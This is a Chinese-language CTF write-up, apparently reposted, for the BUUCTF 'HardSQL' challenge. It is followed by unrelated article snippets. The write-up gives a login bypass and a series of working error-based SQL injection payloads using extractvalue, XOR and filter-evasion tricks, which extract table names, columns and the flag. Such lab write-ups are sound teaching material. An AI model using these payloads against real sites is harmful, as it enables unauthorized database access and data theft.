练习 6 Web [极客大挑战 2019]HardSQL

news2024/10/23 22:40:23

[极客大挑战 2019]HardSQL

先尝试登录,查看报错信息

  • admin =111 password =1111 登录失败
  • admin =111 password =1’or’1 登录成功

在这里插入图片描述

这里直接试了万能密码成功,复习一下,第一个 ’ 是为了闭合前面的sql语句,最后的1后面没有 ’ 是因为默认情况下,通常sql语句会以’ 结尾,我们注入的是’1,实际解析出来就是’1’,不会报错。

参考文章:万能密码‘or’的原理

然后尝试将 or 后面的1换成查库、查表、等等查询语句,提示显然被过滤了,卡住
在这里插入图片描述
做不出来,搜wp,SQL注入通常的思路是联合查询,如果尝试都被过滤,或者查询不到任何内容,那应该要考虑“报错注入”的方式。

SQL注入之报错注入
SQL注入,xpath函数updatexml()和extractvalue()报错注入原理
BUUCTF-[极客大挑战 2019]HardSQL 1详解

报错注入通常是利用非法语句产生报错并返回报错的内容,当报错一般会返回报错的内容是什么,当返回内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行

此题尝试使用
extractvalue(xml_document.Xpath_string)
作用:
查询一个名叫“xml_document”的文档
路径为“Xpath_string”

构造注入语句

extractvalue(1,concat(‘0x7e’,select(database())))%23
'or extractvalue() 中间的这个空格也会被过滤,再查wp
用’^'来连接函数,形成异或

?username=111&password=1111'^extractvalue

在这里插入图片描述
失败,检查一下括号少了,(select(database()))要括起来
爆出库名:geek
在这里插入图片描述
爆破表名,sql语句之间的空格用()代替,=号用like代替,构造:

?username=111&password=1111'^extractvalue(1,concat('0x7e',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek"))))%23

表名:H4rDsq1
在这里插入图片描述
爆破字段内容:

select group_concat(column_name) from information_schema.columns where table_schema=database()
#这里原代码表名变量叫'table_schema',但本题中必须输入'table_name',检查半天非常无语
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1"))))%23

在这里插入图片描述
继续查找flag:

?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)where(id)like(1))))%23

获得:flag{327111be-7867-495c-872d-51
‘}’不见了,flag应该还有一半未显示
使用right(value,str_length)函数
?username=111&password=111’^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)where(id)like(1))))%23

获得:e-7867-495c-872d-511f0cc4fc08}

拼接flag{327111be-7867-495c-872d-51e-7867-495c-872d-511f0cc4fc08}
提交错误
中间应该还有几个字符,调整right函数的第二个参数控制显示长度,后半部分是‘7111be’开头
才发现这个flag很短。。
flag{327111be-7867-495c-872d-511f0cc4fc08}
提交正确
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1498043.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数学建模】层次分析代码(python)

上一篇学习了层次分析的理论,今天用代码实现一下吧! 判断矩阵的一致性检验 import numpy as np A np.array([[1,2,3,5],[1/2,1,1/2,2],[1/3,2,1,2],[1/5,1/2,1/2,1]]) n A.shape[0]#获取A的行 eig_val, eig_vecnp.linalg.eig(A)#计算方阵的特征值和特…

STM32CubeMX学习笔记16--- STM32内部FLASH

1. 内部FLASH简介 之前的文章中介绍过STM32F1利用SPI与外部FLASH(W25QXX芯片)通讯的例程,本例程将介绍STM32F1的内部FLASH,通过内部FLASH实现数据读写操作。 不同型号的STM32,其FLASH容量也有所不同,最小的…

【产品文档分类及撰写路径】

一、产品文档的分类 产品文档根据所处阶段和面相对象的差异大致可以分为三类: 商业需求文档 (BRD):商业需求文档是面向公司高层和项目组,目的是为了获得资金、资源支持。市场需求文档 (MRD):市场需求文档是面向运营和市场销售人员…

基于springboot+vue的旅游管理系统

博主主页:猫头鹰源码 博主简介:Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战,欢迎高校老师\讲师\同行交流合作 ​主要内容:毕业设计(Javaweb项目|小程序|Pyt…

微服务架构中实体类模块化设计与MyBatis-Plus注解浅析

引言 在微服务开发过程中,为了保证代码的整洁性和可维护性,我们通常会将VO(视图值对象)、DTO(数据传输对象)、DO(领域对象)等实体类独立组织成一个API模块。这样做的目的是实现代码…

大模型相关算法模型学习

对Transformer中Add&Norm层的理解-CSDN博客 GPT模型总结【模型结构及计算过程_详细说明】_gpt结构-CSDN博客 推荐30个以上比较好的中文nlp意图识别模型源码?-CSDN博客 Few-shot learning(少样本学习)入门 - 知乎 (zhihu.com) 零次学习…

Day15:技术架构、Maven、Spring Initializer、Spring全家桶、Spring IoC

侧重于服务端(后端),不在意前端,了解一些前端即可) 技术架构 (把Spring设计的更简单好用了就是Spring Boot) 开发环境(Maven) Maven maven通过brew安装的目录为&#x…

【uni-app小程序开发】实现一个背景色渐变的滑动条slider

最近做的一个用uni-app+vue2开发的微信小程序项目中要实现一个滑动进度控制条,如下图所示: 1. 滑动条需要渐变背景色 2. 滑块的背景色需要与当前位置滑动条的背景色一致(动态改变) 碰到这样的需求,我当然先是看看官方提供的slider组件和uView里的u-slider组件能不能满足…

YOLOv9电动车头盔佩戴检测,详细讲解模型训练

向AI转型的程序员都关注了这个号👇👇👇 一、YOLOv9简介 YOLOv9是YOLO系列算法的最新版本。YOLO系列算法自2015年首次提出以来,已经在目标检测领域取得了显著的进展,以其快速和准确的特点而广受欢迎。 论文地址&#xf…

IPSEC VPN 网关模式实验

要求:FW1与FW3建立IPSEC通道,保证10.0.2.0/24网段能访问192.168.1.0/24网段 因为FW1与FW3都处于边界,所以使用网关部署模式来建立IPSEC VPN FW1 这里选择主模式跟隧道模式 FW3与FW1配置类似,与FW1的源目地址反过来,…

文心一言眼中的ChatGPT是什么样的

Q: 你好文心一言,请说一说你眼中的chatgpt A: 在我眼中,ChatGPT是一种非常先进和强大的自然语言处理模型,它展示了人工智能技术的显著进步。ChatGPT拥有出色的语言理解和生成能力,能够与用户进行流畅、自然的对话,并尝…

FreeRTOS_day2

作业:1.使用ADC采样光敏电阻数值,如何根据这个数值调节LED灯亮度。 2.总结DMA空闲中断接收数据的使用方法 打开DAM,允许接收外部设备数据,调用中断接收回调函数

【蓝桥杯】路径之谜(DFS)

一.题目描述 小明冒充 X 星球的骑士,进入了一个奇怪的城堡。 城堡里边什么都没有,只有方形石头铺成的地面。 假设城堡地面是 nn 个方格。如下图所示。 按习俗,骑士要从西北角走到东南角。可以横向或纵向移动,但不能斜着走&#x…

什么是攻防演练,能给企业带来什么

随着互联网技术的发展和企业信息化程度的提高,企业面临的网络安全威胁越来越多。为了保护企业的信息安全,攻防演练已经成为企业安全运营中不可或缺的一部分。攻击者通常会利用各种方法来破坏企业的安全系统和数据,因此企业需要像攻击者一样思…

专治Java底子差,线程操作篇(1)

💗推荐阅读文章💗 🌸JavaSE系列🌸👉1️⃣《JavaSE系列教程》🌺MySQL系列🌺👉2️⃣《MySQL系列教程》🍀JavaWeb系列🍀👉3️⃣《JavaWeb系列教程》…

1分钟带你搞定Python函数分类

python语言中,函数可以分为内置函数、自定义函数、有参数函数、无参数函数、有名字函数和匿名函数。其中,内置函数可以直接使用,自定义函数需要根据需求定义。有参数函数在定义时需要指定参数,调用时传入参数。无参数函数在定义时…

mysql8安装配置(最新版)

目录 一、下载mysql8 二、安装mysql8 三、配置mysql 一、下载mysql8 下载链接:https://pan.quark.cn/s/58d9072e51c4 二、安装mysql8 双击msi文件 选择custom 根据所需选择组件 修改安装路径 选中execute,安装,弹出提示安装VS的提示框之后…

VSCode报错:/bin/sh: python: command not found

背景 以前都是直接用txt写python,然后直接命令行运行。 这次涉及的代码较多,决定用编译器。 写好的一段python点击运行报错! 问题描述 因为我本地安装的是python3,但是vscode用的是另一个路径的python,所以找不到 解…

使用BundleFusion重建個人數據集【全網最詳細】

寫在前面 推薦使用的項目代碼: GitHub - FangGet/BundleFusion_Ubuntu_Pangolin: a porting for BundleFusion working on ubuntu, with Pangolin as visualizer 本人電腦配置: 本人電腦配置是Ubuntu 20.04cuda 11.7 2080TI 使用iphone 進行場景的拍…

【C++】priority_queue和仿函数

priority_queue翻译过来就是优先队列,其实就是我们数据结构中的堆。堆这个东西之前也说过,它分为大根堆和小根堆,它的底层是一个类似数组的连续的空间,逻辑结构是一个完全二叉树,这个完全二叉树如果是小根堆的话父亲小…